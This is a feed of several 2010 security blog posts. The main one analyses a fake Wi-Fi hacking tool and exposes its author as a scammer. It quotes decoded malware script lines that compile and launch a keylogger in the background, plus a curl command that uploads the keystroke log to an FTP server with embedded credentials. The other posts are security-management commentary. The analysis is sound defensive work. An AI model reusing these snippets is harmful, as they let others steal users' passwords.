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		<description><![CDATA[Instead of updating the post in question (again), I figured I&#8217;ll post all the new info here and call this a wrap. So, we all know about the security scammer now, and the different ways he is working to defraud innocent users and steal their data and money. It has been quite an experience tracking [...]


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			<content:encoded><![CDATA[<p>Instead of updating the <a href="http://www.iamit.org/blog/2010/07/how-not-to-scam-security-people/">post in question</a> (again), I figured I&#8217;ll post all the new info here and call this a wrap.</p>
<p>So, we all know about the security scammer now, and the different ways he is working to defraud innocent users and steal their data and money. It has been quite an experience tracking this scam down and getting all the facts right (from the technical aspect of inspecting the keylogger and binaries used to sniff your data, to actually communicating with the scammer and getting his take on things).</p>
<p>Nevertheless, I must say that I appreciate the consistency in which our scammer (I&#8217;ll call him Fadzil Mahfodh as that&#8217;s his real name) has been trying to mask his wrongdoings. From trying to go around the facts and divert us to other software:</p>
<p><a href="http://www.iamit.org/blog/wp-content/uploads/2010/07/fadzil1.png" rel="lightbox[501]"><img class="size-medium wp-image-502 alignnone" title="fadzil1" src="http://www.iamit.org/blog/wp-content/uploads/2010/07/fadzil1-300x57.png" alt="" width="300" height="57" /></a></p>
<p>To &#8220;bragging&#8221; about his skills and the fact that his scripts are &#8220;leet&#8221; enough to get past some people:</p>
<p><a href="http://www.iamit.org/blog/wp-content/uploads/2010/07/fadzil2.png" rel="lightbox[501]"><img class="size-medium wp-image-503 alignnone" title="fadzil2" src="http://www.iamit.org/blog/wp-content/uploads/2010/07/fadzil2-300x79.png" alt="" width="300" height="79" /></a></p>
<p>And finally to the obvious &#8211; throwing a fit and trolling &#8211; initially by threatning to post my picture and CV on adult websites (what would my CV be good for on an adult site anyway??? must be a Malaysian thing <img src='http://www.iamit.org/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  ):</p>
<p><a href="http://www.iamit.org/blog/wp-content/uploads/2010/07/fadzil3.png" rel="lightbox[501]"><img class="size-medium wp-image-504 alignnone" title="fadzil3" src="http://www.iamit.org/blog/wp-content/uploads/2010/07/fadzil3-300x39.png" alt="" width="300" height="39" /></a></p>
<p>All of which has been accompanied by adding my picture to his website (wow! I&#8217;m famous now!):</p>
<p><a href="http://www.iamit.org/blog/wp-content/uploads/2010/07/Screen-shot-2010-07-26-at-11.54.25-AM.png" rel="lightbox[501]"><img class="size-medium wp-image-505 alignnone" title="Screen shot 2010-07-26 at 11.54.25 AM" src="http://www.iamit.org/blog/wp-content/uploads/2010/07/Screen-shot-2010-07-26-at-11.54.25-AM-300x213.png" alt="" width="300" height="213" /></a></p>
<p>Getting it removed by the Google Blogger DMCA team, opening up a <a href="http://chikiabu.blogspot.com/">new blog site</a> to accompany the specific <a href="http://www.iamit.org/blog/wp-content/uploads/2010/07/Screen-shot-2010-07-26-at-11.58.16-AM.png" rel="lightbox[501]"><img class="alignright size-medium wp-image-507" title="Screen shot 2010-07-26 at 11.58.16 AM" src="http://www.iamit.org/blog/wp-content/uploads/2010/07/Screen-shot-2010-07-26-at-11.58.16-AM-181x300.png" alt="" width="181" height="300" /></a>&#8220;hack wpa without a dic&#8221; post along with my picture, and making some cosmetic changes to the site, removing the FBI log (which has been replaced with a larger DHS logo), and adding a disclaimer at his website stating that this is all a mistake, that I have been trying to pressure him into criminal actions, and that he has all our communications logged and will be happy to use it to prosecute. Too bad this has been removed from his site before I had a chance to document it &#8211; but trust me it was there! Pure epicness!</p>
<p>Now, I know &#8211; it&#8217;s not really fair to pick on these guys that hard. That&#8217;s why I&#8217;m leaving this to the Malaysia CERT (as you may have noticed, 1337 Fadzil forgot to proxy his connections to this blog and his IP has been logged on all comments and relevant hits on the site), to figure out how to handle. I truly hope that his suggestion to use the details provided on his paypal account and bank account will actually yield some results, and wish our friend the best of luck in his endeavors in the security business (although I highly doubt he&#8217;ll be at DefCon later this week).</p>
<p>Below are attached some of the additional supporting materials for the sake of fully disclosing all the communications with Fadzil.</p>
<p><a href="http://www.iamit.org/blog/wp-content/uploads/2010/07/fadzil.txt">Apache-access-log_FILTERED</a>, <a href="http://www.iamit.org/blog/wp-content/uploads/2010/07/Fadzil-chat.rtf">Fadzil-chat</a>, <a href="http://www.iamit.org/blog/wp-content/uploads/2010/07/karma-decoded.sh.txt">karma-decoded.sh</a>, <a href="http://www.iamit.org/blog/wp-content/uploads/2010/07/bg2-decoded.sh.txt">bg2-decoded.sh</a></p>


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		<description><![CDATA[An analysis of a rogue security tool that tries to steal passwords and scam people out of their paypal money and accounts.


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			<content:encoded><![CDATA[<p>I have been playing around with some wireless security for one of my customers lately. Having a pretty solid understanding of how things work, but also having been challenged to try out “everything there is to try” by the client, I went off to look for new tools that I might not have tried before.</p>
<p>It did not take too long, and with the accidental help of <a href="http://techcrunch.com/2010/07/05/employees-challenged-to-crack-facebook-security-succeed/">TechCrunch</a> (btw TechCrunch &#8211; you may want to change this link to something else after you read this&#8230;) I ran into <a href="http://fadzilmahfodh.blogspot.com/2009/07/8-wpa-hack-without-using-dictionary.html">this</a> “Wifi Security” site.</p>
<p>Yes, I know, the design is horrible, the scrolling thing on the top of the page is just missing a &lt;blink&gt; tag to drive you into an epileptic seizure, and the music, well, it’s music as part of a website &#8211; welcome to the 80’s.</p>
<p><img class="alignright size-full wp-image-485" title="used-by-fbi" src="http://www.iamit.org/blog/wp-content/uploads/2010/07/used-by-fbi.png" alt="" width="188" height="176" />Not being deterred by the horrible design, I went ahead and downloaded the “tools” offered in the article. After all, the FBI are using this guy’s tools&#8230;<br />
A quick look, and I was faced with three supposed shell scripts (ended with a .sh), and a tarball called “rogue.tar.gz”.<br />
When you get a shellscript that isn’t a shellscript, and is being reported as an “ELF” executable, you should get your detective hat on, which is exactly what I did.<br />
It didn’t take long, and the scam unfolded pretty quickly. Here’s a quick recap of what’s going on with this guy’s website:</p>
<ol style="list-style-type: decimal;">
<li>The provided “tools” aren’t even security tools. Initially I figured &#8211; ok, so this guy packed a few open source wireless tools and scripted them for easy usage. No. Not even <a href="http://theta44.org/karma/index.html">karma</a> which the main script suggests that is being used (appropriately I might add for the purpose of what this script is SUPPOSED to do).</li>
<li>A quick look at the tarball revealed that is actually contains a keylogger that has been graciously stolen from <a href="http://code.google.com/p/logkeys/">here</a>.</li>
<li>When the main script (karma.sh) is run, two supporting scripts (bg1.sh and bg2.sh) are launched. They are taking care of compiling the keylogger, running it, and pushing the logged keys logfile to an FTP for the attacker (I guess we can call him that now) to use at his convenience.</li>
<li>You are prompted to log into your webmail account, send a request for a free activation code with an indemnity text, which would be answered by the “automatic” processes on their end promptly so you can enter the code into the installer and start playing around with WiFi security. FTW!</li>
</ol>
<p>Observant readers may notice that I referred to the tool as having “supposed” script files, that are actually binaries, and now I refer back to them as scripts. What gives?<br />
Well, simply put, our attacker didn’t really take the time to code an application, he just wrote a couple of shell scripts, and in order to try to hide his malicious and ill-intent actions he “compiled” them with a utility that packs shellscripts in executable form called <a href="http://www.unixref.com/manPages/shc.html">shc</a>. The road from a linux executable to realizing what the script originally was is pretty short&#8230;</p>
<p>Now, that most of the cards are on the table, we can actually take a look at what scam this guy is running, and how he runs this. Following are some snippets from the shellscript that was presumably a wireless security tool. Even if you are not an avid Linux shellscripter, I’m sure that the annotations (true to the original) will shed some light&#8230;</p>
<blockquote><p># START BACKGROUND PROGRAMS BG1(RUN LINUX KEYLOGGER) AND BG2(RUN MONITORING KEYSTROKES AND SEND LOG.TXT FILES TO DRIVEHQ)<br />
cd lkl2<br />
./configure &#8211;silent<br />
make &#8211;silent<br />
make install &#8211;silent<br />
cd<br />
chmod +x /root/bg1.sh<br />
nohup /root/bg1.sh &amp;<br />
rm -r /root/nohup.out<br />
chmod +x /root/bg2.sh<br />
nohup /root/bg2.sh &amp;<br />
sleep 2<br />
rm -r /root/nohup.out<br />
clear</p></blockquote>
<p>So, we see how the keylogger is compiled, installed and the supporting scripts bg1 and bg2 are run.<br />
Next up, is the installer itself (if one can call that) which prompts for the user to send a FREE activation request to the attacker:</p>
<blockquote><p># MENU LIST<br />
echo “”<br />
echo “&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; “<br />
echo “THIS MESSAGES WILL NOT APPEAR AFTER karma.sh IS ACTIVATED “<br />
echo “&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; “<br />
echo “”<br />
echo “1. Compose indemnity text below and send to <a href="mailto:fadzilmahfodh@gmail.com">fadzilmahfodh@gmail.com</a>”<br />
echo “   Yes, I want activation code and will never use for illegal purpose”<br />
echo “”<br />
echo “2. Check your email for activation code after sending text “<br />
echo “”<br />
read -p “3. Send now ? (0=no, 1=yes) “ act<br />
clear</p></blockquote>
<p>Obviously, the message WILL appear, as this thing is NEVER going to be activated &#8211; remember &#8211; this is a shellscript, and the “menu” appears as-is unconditionally so you can try to activate this until blue in the face&#8230; but we are getting ahead of ourselves.</p>
<p>I mentioned in the title that the scam is targeting security people. Besides the obvious wireless security related topic, here’s another little piece of “evidence” from the script:</p>
<blockquote><p>read -p  &#8220;Which backtrack are you using ? (bt3=3,bt4=4) &#8221; bt</p></blockquote>
<p>Our little friend is assuming that we are using BackTrack (as most security folks do) to run their wireless tests&#8230; the script continues according to which version of BT is entered (to accommodate the differences in network configuration&#8230;).<br />
I’ll skip through the network connectivity checks (trust me), and next up the attacker makes sure that firefox isn’t running, and:</p>
<blockquote><p>firefox https://login.yahoo.com/ &amp;<br />
sleep 4<br />
firefox https://www.google.com/accounts/ManageAccount &amp;<br />
sleep 4<br />
firefox http://home.live.com/</p></blockquote>
<p>The attacker obviously wants us to log into one of our webmail accounts so we can send him that activation request email with the indemnity text (how considerate). Keeping in mind that the keylogger is on and it’s activities are uploaded in the background to the attacker’s FTP &#8211; this is exactly where most people will fall into the trap.</p>
<p>And for the grand finale &#8211; the actual activation (you’d think huh?):</p>
<blockquote><p>############################<br />
# DECOY FOR ACTIVATION CODE<br />
clear<br />
echo &#8220;&#8221;<br />
read -p &#8220;ENTER ROGUE AP ACTIVATION CODE : &#8221; pls<br />
sleep 3<br />
echo &#8220;You have entered an invalid code &#8221;<br />
echo &#8220;&#8221;<br />
exit<br />
############################</p></blockquote>
<p>You have to admit that commented code is the best! It’s actually saying “decoy”! How f*&amp;^ing awesome is that? You get to craft your email after logging into your Yahoo!/Gmail/Live account, and then go back to this completely useless activation part. I do like the fact that the author put a “sleep 3” before letting you know that you entered the wrong code. As if it was hard at work verifying it. Classic.</p>
<p>That’s about it for the technical analysis, but it wouldn’t be complete without the actual interaction with the attacker, wouldn’t it? Let’s see &#8211; so, we crafted a “request for free activation” email with the indemnity text in it, and guess what &#8211; we got a reply!</p>
<blockquote><p>Hi</p>
<p>1. We are preparing  the activation code for you.</p>
<p>2. To make worth our while, could you consider a small donation (suggest euro 11) to support the website via Paypal a/c <a href="mailto:fadzilmahfodh@yahoo.com">fadzilmahfodh@yahoo.com</a> ?</p>
<p>Cheers.</p>
<p>EMAIL VIA MY CELLPHONE FOR FAST RESPONSE<br />
<a href="http://fadzilmahfodh.blogspot.com">http://fadzilmahfodh.blogspot.com</a></p></blockquote>
<p>So not only there is no activation code to be “prepared” for me (what? I’m going to feed it to the “decoy” and it’ll magically work?), we are being prompted to donate some cash for the poor bastard who worked so hard to make this tool for the community&#8230;<br />
I cordially answered that:</p>
<p>1. Thanks. I’ll be looking forward for the activation code.</p>
<p>2. I&#8217;ll probably consider it after being able to test out the tool.</p>
<p>Which was replied with a suggestion to try the trial version on his site (which relates to a completely different tool, but let’s not be too picky about it&#8230;).<br />
Now, thankfully, I was using one of my throw-away yahoo accounts, and apparently so our attacker. If you haven’t noticed, one of the cool things in the new Yahoo! webmail is that you get an indication whether the person emailing you is online or not, and you can chat with them!<br />
Guess what happens next&#8230;</p>
<blockquote><p>&#8212;&#8211; Our chat on Wed, 7/7/10 2:53 PM &#8212;&#8211;<br />
Iftach(2:34 PM):  hey man<br />
Iftach(2:34 PM):  mind if a ask a couple of questions?<br />
fadzilmahfodh(2:34 PM):  okey<br />
Iftach(2:35 PM):  cool. I&#8217;m doing this research on security tools and their<br />
authors&#8230;<br />
fadzilmahfodh(2:35 PM):  okey<br />
Iftach(2:35 PM):  saw your tool and wanted to hear about how you got to write<br />
it, how well is it distributed in the community etc&#8230;<br />
Iftach(2:36 PM):  does that activation thing a common practice with free tools?<br />
fadzilmahfodh(2:36 PM):  yes see, we need to maintain our website thus we need<br />
supporter<br />
fadzilmahfodh(2:37 PM):  everyday there are at least 500++ people asking for<br />
code<br />
Iftach(2:37 PM):  I see.<br />
fadzilmahfodh(2:37 PM):  i no longer able to provide for free<br />
fadzilmahfodh(2:37 PM):  too time consuming and i need to be compensated for my<br />
time and effort<br />
fadzilmahfodh(2:38 PM):  hope you understand</p></blockquote>
<p>Time and effort? Right&#8230; For a scam script that doesn’t even have any networking functionality&#8230; Ok, I’ll go along&#8230;</p>
<blockquote><p>Iftach(2:40 PM):  now, about the tool &#8211; that&#8217;s a linux binary obviously (thought<br />
it was a shell script at the beginning). Did you base it on something existing<br />
or write yourself?<br />
fadzilmahfodh(2:41 PM):  i wrote it by my self then scramble the code<br />
Iftach(2:41 PM):  hence the activation i see&#8230;<br />
fadzilmahfodh(2:42 PM):  i can afford to give &#8216;free lunch&#8217; to everybody. Hope<br />
you understand<br />
Iftach(2:43 PM):  sure, i understand.<br />
fadzilmahfodh(2:43 PM):  So you interested in the software?<br />
Iftach(2:44 PM):  more from a research point of view &#8211; for an article I&#8217;m<br />
writing<br />
Iftach(2:44 PM):  so, the installer you use, I see that it contains some<br />
additional code that is being compiled on the client.<br />
fadzilmahfodh(2:45 PM):  Yes. The purpose is the code will be unique to user<br />
hardware<br />
Iftach(2:45 PM):  and I saw that there were some FTP connections made? Is that<br />
to verify that the client is a registered one?<br />
fadzilmahfodh(2:46 PM):  Well, that is another story&#8230;<br />
Iftach(2:46 PM):  I&#8217;m listening<br />
fadzilmahfodh(2:46 PM):  maybe some other time huh<br />
Iftach(2:47 PM):  OK. Last question &#8211; do you get a lot of account passwords<br />
through that keylogger that sends the data to your FTP?<br />
fadzilmahfodh(2:47 PM):  sorry, no comment unless i am in court</p></blockquote>
<p>At this point of my “interview” with him, I guess that my cover was going to get pretty real, hence this “article” that you are reading&#8230; You can’t make this stuff up so I figured I’ll blog it&#8230;</p>
<blockquote><p>Iftach(2:48 PM):  aha, and it&#8217;s part of the installer because? just to make sure<br />
people can send the activation email correctly?<br />
Iftach(2:48 PM):  Back to statistics, out of the average 500 ppl asking for<br />
activation &#8211; how many passwords do you manage to grab?<br />
fadzilmahfodh(2:49 PM):  well, the ftp is to confirm that software match with<br />
data in server<br />
fadzilmahfodh(2:49 PM):  if it does not match, it will fail to run<br />
fadzilmahfodh(2:49 PM):  or i can just change the data/activation code in the<br />
server<br />
fadzilmahfodh(2:49 PM):  then everything will not run<br />
Iftach(2:49 PM):  and how does that relate to the keylogging?<br />
fadzilmahfodh(2:50 PM):  well, that i another story&#8230;<br />
Iftach(2:51 PM):  I mean &#8211; the keylogger data is sent to that FTP. Is that part<br />
of the verification or is this a separate process?<br />
Iftach(2:51 PM):  So, on average, how many accounts you manage to get on that<br />
FTP server per day?<br />
fadzilmahfodh(2:51 PM):  well, you do not even support my website and how the<br />
hell am i going to tell you<br />
Iftach(2:52 PM):  Let&#8217;s just get it straight &#8211; I&#8217;m not going to &#8220;support&#8221; the<br />
site&#8230; I&#8217;m just doing some research on security tools.<br />
fadzilmahfodh(2:52 PM):  bye<br />
Iftach(2:53 PM):  You are free to tell, or not if you don&#8217;t want to. But I&#8217;m<br />
publishing the story as it is&#8230;<br />
Iftach(2:53 PM):  With your acknowledgment that you use a keylogger to steal your<br />
site visitor passwords. Unless you want to be quoted otherwise in the story&#8230;</p></blockquote>
<p>True to my chat with Fadzil (or whatever his name is), I’m telling it the way it is.</p>
<p>But wait, there’s more!!! more? how come? well, just to put some icing on this, I went back and decoded the script that was in charge of the FTP upload&#8230;</p>
<blockquote><p>curl -s -k &#8211;ftp-ssl -T /pentest/log.txt -u fadzilmahfodh:buaya ftp://ftp.drivehq.com/code$number.txt</p></blockquote>
<p>Just to see the final lameness come to life as I tested the account:</p>
<p><a href="http://www.iamit.org/blog/wp-content/uploads/2010/07/wpid-ftpfail-2010-07-8-09-48.png" rel="lightbox[483]"><img src="http://www.iamit.org/blog/wp-content/uploads/2010/07/wpid-ftpfail-2010-07-8-09-48.png" alt="wpid-ftpfail-2010-07-8-09-48.png" width="514" height="178" /></a></p>
<p>And you know what &#8211; it’s all our fault! If we as a community would have “donated” to this guy for all his hard work and effort that he’s been putting in creating tools that are used by the FBI (check out his site&#8230;), he would have had the money to keep his driveHQ account in order and could make a decent living out of ripping people off.</p>
<p>Seriously.</p>
<p>p.s. you can find me talking about this entertaining even on <a href="http://www.isdpodcast.com/episode-167-targeting-security-newbies-w-iftach-ian-amit/">the ISDPodcast</a> with my buddy Rick, I just had to vent off before putting this in writing, so hopefully this account is a bit more thorough and to your liking&#8230;</p>
<p><strong>Update 7/13/2010</strong>: I could not have wished for better response from the community on this post, but having the actual culprit respond here is priceless. As you can probably see, Fadzil has posted a comment, and to sum things up let me just state that I&#8217;m not that surprised by its content (I think it&#8217;s called &#8220;pulling a ligatt&#8221; these days&#8230;). On one hand he offhandedly dismisses that there was ever such an issue with a keylogger, on the other hand he promises a better version with (and I&#8217;m quoting): &#8220;rogue ap + fake login page + keylogger + ftp = to get WPA or WPA2 password&#8221;.</p>
<p>You don&#8217;t say?! I&#8217;m still waiting for the security practitioner that will explain to me why would anyone need a keylogger + ftp to use a rogue AP with fake login pages. I&#8217;m really hoping that this post helps the community learn more on criminals such as the one we are dealing with here. Don&#8217;t be tempted to &#8220;smooth-talk&#8221; that tries to look technical and hackerish while having nothing behind it. And if you have had any additional experiences with this guy feel free to add them to the comments or email me so I&#8217;ll update this story for everyone&#8217;s benefit.</p>


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		<description><![CDATA[Here’s a common question I get asked a lot: “What technology should I use to secure my server/network/[some technology]?” The question is usually presented by someone who’s in charge of “Security” in an organization. Now, I wouldn’t have had a problem with this if this was a technician, or a pen-tester of sorts, but I [...]


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			<content:encoded><![CDATA[<p>Here’s a common question I get asked a lot: “What technology should I use to secure my server/network/[some technology]?”</p>
<p><img class="alignright" src="http://www.iamit.org/blog/wp-content/uploads/2010/06/wpid-IdentityCrisis-2010-06-7-14-11.jpg" alt="wpid-IdentityCrisis-2010-06-7-14-11.jpg" width="167" height="133" />The question is usually presented by someone who’s in charge of “Security” in an organization. Now, I wouldn’t have had a problem with this if this was a technician, or a pen-tester of sorts, but I get really nervous when the CISO/CIO/Security manager is the one asking.</p>
<p>I think that this question is highly inappropriate for two reasons:</p>
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<li>You should not be looking for “technology”. Buying a product is not going to make you more secure or less secure.</li>
<li>You should not be trying to protect a technology. Your servers, networks, routers, PCs, etc&#8230; are not the focus of information security. The information is&#8230;</li>
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<p>Having been working with senior management &#8211; sometimes as an advisor/consultant, and sometimes as a “virtual CISO”, I know that this is not what we expect the CISO or security manager to ask. We expect business savvy, we expect an understanding of what the information assets are, what are the information critical paths, who owns the information and what is the impact of every asset on the business. We expect that the understanding of how each assets fits into the grand scheme of things would be clear to whoever is in charge of securing it, and we expect them to take into account what is the potential damage related to each of these assets (in terms of losing it, having it fall into the wrong hands, etc&#8230;).<br />
For me (or us when talking as management) this is the only way to approach security. Funny how things get a little unclear when all you thought you needed to know was which vendor/product fits where in your topology, huh?</p>
<p>What strikes me as most peculiar is the fact that a lot of these security “professionals” find themselves in a self proclaimed identity crisis, having to deal with business requirements and financial understanding of how the business operates. and the weirdest thing is that they often choose to get back to what then “know” best &#8211; the technology side of things. Definitely not the way to make a move&#8230;</p>
<p><img class="alignleft" src="http://www.iamit.org/blog/wp-content/uploads/2010/06/wpid-risk-blocks-2010-06-7-14-11.jpg" alt="wpid-risk-blocks-2010-06-7-14-11.jpg" width="161" height="160" />I’m really hoping that all this preaching of “know thyself before you know your enemy” would help somehow, because right now unfortunately the situation at hand only brings us more business (not that I’m complaining). But seriously now &#8211; technology is fine and cool, but having the aptitude to know where it fits, not on an architectural level, but from a business perspective is the key to what we do. Get back to the drawing board, erase the network topology and start drawing the business one!</p>


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		<description><![CDATA[Things that we should be fixing in security.


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			<content:encoded><![CDATA[<p>This is going to be painful, so hold on.<br />
Instead of mumbling short tweets about things I think that suck, I decided to keep everything in and just formulate a post on it.<br />
<img class="alignright size-medium wp-image-441" title="Guess_SurfingProseries_Bermuda_Orange" src="http://www.iamit.org/blog/wp-content/uploads/2010/05/Guess_SurfingProseries_Bermuda_Orange-300x293.jpg" alt="" width="229" height="224" />This post is a rant. It’s a complicated rant by an “old” guy (my excuse for cynicism) in the industry who’s had a chance to see a lot going. Disclaimer: I’m going to give some examples here, real life examples from my own experience in the security industry. Some are from my consulting days, some from the vendor days, some from freelance and other gig days. If you think you are someone who I’m describing here &#8211; you probably aren’t. On the other hand, if you can recall some snotty smart-ass dude come into your company wearing orange bermuda pants (swear to god) sandals and (hold it) silver toenail polish (I was going through something back then), telling you how badly your security sucks and leave a single pager report on it showing gaping holes in technology and processed, well, I’m sorry&#8230;</p>
<p>Disclaimers aside, down to business.</p>
<p>What have we learned over the past decade in the security business &#8211; let’s see: AV is pretty much the same as it was in 2000 (which is the same as it was in 1990, you get the point). Firewalls do pretty much the same give or take a couple of useless protocols that nobody needs. Oh, oh, I know (yeah &#8211; I can hear you from the back of the room) &#8211; WAF!. Well, WAF right back at you. Doesn’t work, didn’t work back in the days when it took 3 days to configure it for a small site, and still doesn’t do much good other than the simple stuff (which you can get for free at ModSecurity).</p>
<p>We have almost no technological advantage over what we used to have 10 years ago. So, you must say, we learnt that we as security people must have gone through so much that we manage and deal with the risks and threats much better. Yes, that’s a tear at the corner of my eye. How much I wish you were right.</p>
<p>The same people who I used to see so excited by their newfangled CxO title and their big office 10 years ago, who didn’t know what to do in order to do their jobs, are not doing any better than most companies nowadays.</p>
<p>Then, just like now, they are still trying to find the right “stuff” that’s going to save their world if they just buy/lease/license it and install it in a shiny new rack. Now, just like then, we are focused on finding “vulnerabilities” and categorizing them “high, medium, low” (or whatever scale that doesn’t mean anything) in our networks, operating systems and applications. Then, just like now, we can’t tell the difference whether a threat will render our business useless, rob us blind, or just evaporate like a baby hiccup with a faint noise of “FUD”.</p>
<p>I meet a lot of talented young (and old) security people, they are all bright-eyed, bushy-tailed and ready to fight until the last drop of blood over what they were trained/self-taught/researched. And I envy them. I envy the ability to just disconnect, to adapt that tunnel-vision that allows them to dig right in to the utter abyss of a technical challenge. I also meet a lot of people with broad vision of how security should be. They have forgotten the technical mumbo-jumbo the kids are talking about today. “Sea surf? Yeah! I remember surfing when I was a kid&#8230;”, “Sequel? Which one? I thought the matrix series was over&#8230;”, “But let me tell you about my new world cyber-peace strategy&#8230;”. You get the point.</p>
<p><img class="alignleft size-medium wp-image-442" style="margin-left: 5px; margin-right: 5px;" title="0470124261" src="http://www.iamit.org/blog/wp-content/uploads/2010/05/0470124261-237x300.jpg" alt="" width="106" height="133" />And don&#8217;t even get me started on all these certifications that everyone goes after. The sad fact is, these things have kept us back from thinking differently. They boxed us into whatever the course/certification/training is trying to cram into us on a technical level, and basically leave it at that. It created a 400 pound gorilla of money sucking industry without really giving us back any more talent. Most of my friends in the industry have some kind of certification (or two, or ten), but I still call them friends not because the number of certs they have on their business card, but because I know they don&#8217;t really need these certs to be professional security people.</p>
<p>What I’m still struggling with is the middle. I have always been looking for the middle (even as a kid &#8211; “your son is about average, but he’s got great potential” was a recurring parent-meeting slogan through all my school years). The middle which have built itself over the foundations of technical research, got their hands dirty in pen-tests, trying out new products, breaking stuff left and right, losing once in a while to get their bearings right. The middle who didn’t get blinded by a new management position, and kept relatively up-to-date on what’s going on. The middle who didn’t skip last year’s DefCon/BlackHat/Shmoocon/[your-favorite-con] talk because he thought it was some passing fad (and didn’t want to admit that it’s just too darn complicated for them to get into new stuff). The middle who took up looking at how the business works. From the numbers, through the sales, operations, tech-support, client meetings, competition and the board-room decisions. We forgot that this middle is our only chance to make progress, because this middle can translate the latest threat to numbers. Numbers that not only the CIO/IT guy can understand, but the CFO, the accountant, the COO and the order fulfillment guys can understand. The real impact on the business. With numbers, with a strategy on how (if ever) to address it, with an understanding that it might not be the latest and greatest gizmo that we need here, but something much simpler. An old solution, a tweak here and there &#8211; in a product, or a business operation. A quick chat with the procurement department on how they process stuff, or a change in the way that the sales organization works in the field when they run off to customers and meet the competition.</p>
<p>I find myself trying to fit in the middle too many times. I’ll admit it &#8211; I didn’t think of a middle back when I started getting paid for breaking things, but I saw the middle. I haven’t figured out the right terminology until 6 or 7 years ago for this middle. But darn it! (imagine what I held back until now&#8230;) I like that middle, and unfortunately (or fortunately as my accountant would say) we are still bad at filling that middle. We still haven’t bridged the gaps between the techies and senior management (I’m obviously generalizing, but look at your average F-100 company &#8211; you’ll get it&#8230;). Between the millions of dollars we spend on the wrong things, and the vague strategies we build on top of them to fend off auditors and boardroom questions.</p>
<p>Let’s get the good guys from both sides back to the middle. Let’s get the techies some business training, dress ‘em up nice and give them the tour. Let’s send our CxO’s to DefCon for a refresher on how things are done these days. There’s no shame in learning. If I find a day in which I didn’t have a chance to learn something new &#8211; technical, financial, political, strategy or disassembly, I feel wrong. Let’s justify our overpriced salaries and really make something out of it. We were used to be paid to think outside the box, and all we did since we started getting paid is to paint the box in crayons.</p>
<p>Break the box. Down to it’s nails and planks. See what makes it tick. Reassemble, open, get out, close it, and think how to make it better.</p>
<p>p.s. &#8211; what’s with the parenthesis you ask? well, that’s just how I like to write, and besides &#8211; it leaves room to put things in the middle <img src='http://www.iamit.org/blog/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>


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		<description><![CDATA[Hola from Barcelona! It&#8217;s been a very productive couple of days here. Quite a lineup for this version of the BlackHat briefings out here. I had the great fortune of speaking right after a fantastic opening by Jeff Moss (BlackHat founder and director) and Max Kelly (Facebook&#8217;s CSO) that just set me up perfectly &#8211; [...]


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<p>Hola from Barcelona!</p>
<p>It&#8217;s been a very productive couple of days here. Quite a lineup for this version of the BlackHat briefings out here. I had the great fortune of speaking right after a fantastic opening by Jeff Moss (BlackHat founder and director) and Max Kelly (Facebook&#8217;s CSO) that just set me up perfectly &#8211; both discussed elements of attribution, deniability when talking about proxied attacks through certain countries, and how money is the driving force for all Cybercrime.</p>
<p>The talk went fairly well, and the responses I got afterward was favorable all around (if you were too shy to put me on the spot or complain feel free to do so here or on my email&#8230; all feedback will be highly appreciated). For your viewing pleasure, I am including the most up-to-date slides that I used for the talk here: <a href="http://www.iamit.org/docs/CyberCrimeWar-BHEU2010.pdf">CyberCrimeWar-BHEU2010.pdf</a></p>


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		<description><![CDATA[As promised &#8211; here is the &#8220;official&#8221; cross-post from my guest appearance on fudsec.com. Enjoy! I’ve been intravenously fed with FUD for as long as I’ve been in the business. The main strategy for understanding that you are facing FUD is to realize that there is a financial motivation behind the FUD-spreading entity. This has [...]


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			<content:encoded><![CDATA[<p>As promised &#8211; here is the &#8220;official&#8221; cross-post from my guest appearance on <a href="http://fudsec.com/cyberfudfare">fudsec.com</a>. Enjoy!</p>
<p>I’ve been intravenously fed with FUD for as long as I’ve been in the business.</p>
<p>The main strategy for understanding that you are facing FUD is to realize that there is a financial motivation behind the FUD-spreading entity. This has served me well over the years and managed to keep me out of trouble (i.e. buying/selling/liking any “you gotta have this!!!” technology).</p>
<p>I have to admit that when I started seeing what the media is doing to the term CyberWar, I was a bit baffled. What’s the motivation? It’s not like we can run to the local RadioShack and buy an Anti-CyberWar overpriced box of solutions for just $39.99 (not including annual license renewal of $99.99).</p>
<p>Nevertheless, as someone who likes security (yeah, I know&#8230; sorry&#8230;) and actually spends most of his time playing around with computers (my semi-formal job definition), I had to dig into this.<br />
I decided to start off with my prior knowledge of CyberCrime (again &#8211; definitions aside, some say eCrime, some CyberCrime, some tomato&#8230;) to cover the more “traditional” attack vectors and risk surfaces. Armed with these, I wore my thinking hat and ventured back in history to re-inspect some of the cyberwar incidents of our past. The main incidents that brought the most media attention were the Estonia and the Georgia ones.<br />
Estonia being dubbed the “first true cyberwar” in some publications (and by some “professionals”) turned out to be mostly civilian  &#8211; meaning that there didn&#8217;t seem to be a Kremlin general high on Vodka that marched his army of hackers into cyberspace to crush the Estonia internet!!! On the other hand, reality seemed much more familiar that expected &#8211; a couple of defacements from skiddies on the hacktivism side, and a fairly traditional DDoS using a botnet that &#8211; behold &#8211; is attributed to CyberCrime. Almost like someone was trying to push me back to my &#8220;place&#8221;.<br />
To be completely honest, there was a bit more to it. For anyone who is familiar with the RBN, you probably are aware of the close ties it has with Russian authorities that allow it to operate almost uninterrupted. The timing of the attacks, and the scale of it indicate that either some hacktivists got a huge favor from a highly commercially inclined organization, or that some kind of quid-pro-quo between RBN and a Kremlin rep was in place to put a little pressure on the Estonia neighbors.<br />
But from some greased hands that allow RBN to keep running aloof to &#8220;the first true cyberwar&#8221; is a long haul&#8230;</p>
<p>The second example was the Georgia-Russia front. While getting somewhat less attention in the media, this was more closely a “CyberWar”, or an act of cyberwarfare, as it has been closely coordinated with kinetic actions taken on the ground by the Russian forces. Nevertheless, the same deniability factor plays well here &#8211; use of botnets operated mainly by CyberCriminal groups was the main attack surface.</p>
